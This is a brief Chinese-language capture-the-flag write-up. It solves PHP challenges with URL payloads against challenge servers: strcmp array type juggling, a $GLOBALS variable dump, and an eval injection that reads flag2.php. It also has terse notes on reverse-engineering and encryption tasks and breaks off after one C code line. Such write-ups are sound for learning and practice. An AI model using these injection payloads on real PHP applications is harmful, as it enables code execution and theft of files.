Adventures in PHP (0)
php是一种弱类型的语言,
当strcmp接收到字符串以外的数据时会返回NULL
所以 payload: http://95.179.228.15:8000/?flag[]=123
Adventures in PHP (1)
PHP在名为$GLOBALS[index]的数组中存储了所有全局变量,且变量的名字就是数组的键,这种全局变量可以在PHP脚本中的任意位置访问全局变量
payload:http://95.179.228.15:8001/?args=GLOBALS
Is everything injectable?
本题flag包含在两个php中
第一个: 也是利用全局变量就可以拿到flag
payload:http://95.179.228.15:8005/index1.php?args=GLOBALS
第二个:利用eval构造php语句然后读取flag2.php的信息,得到flag
payload:http://95.179.228.15:8005/index2.php?hello=);print_r(file(%22./flag2.php%22));//
FlagSearching
在调试器中找到这段话,一路单步跟下去。
这一段就是flag了。
BabyEncryption
加密输入的字符串
比较加密后的字符串
解密
1 | char a[] = "WelcomeToAegis"; |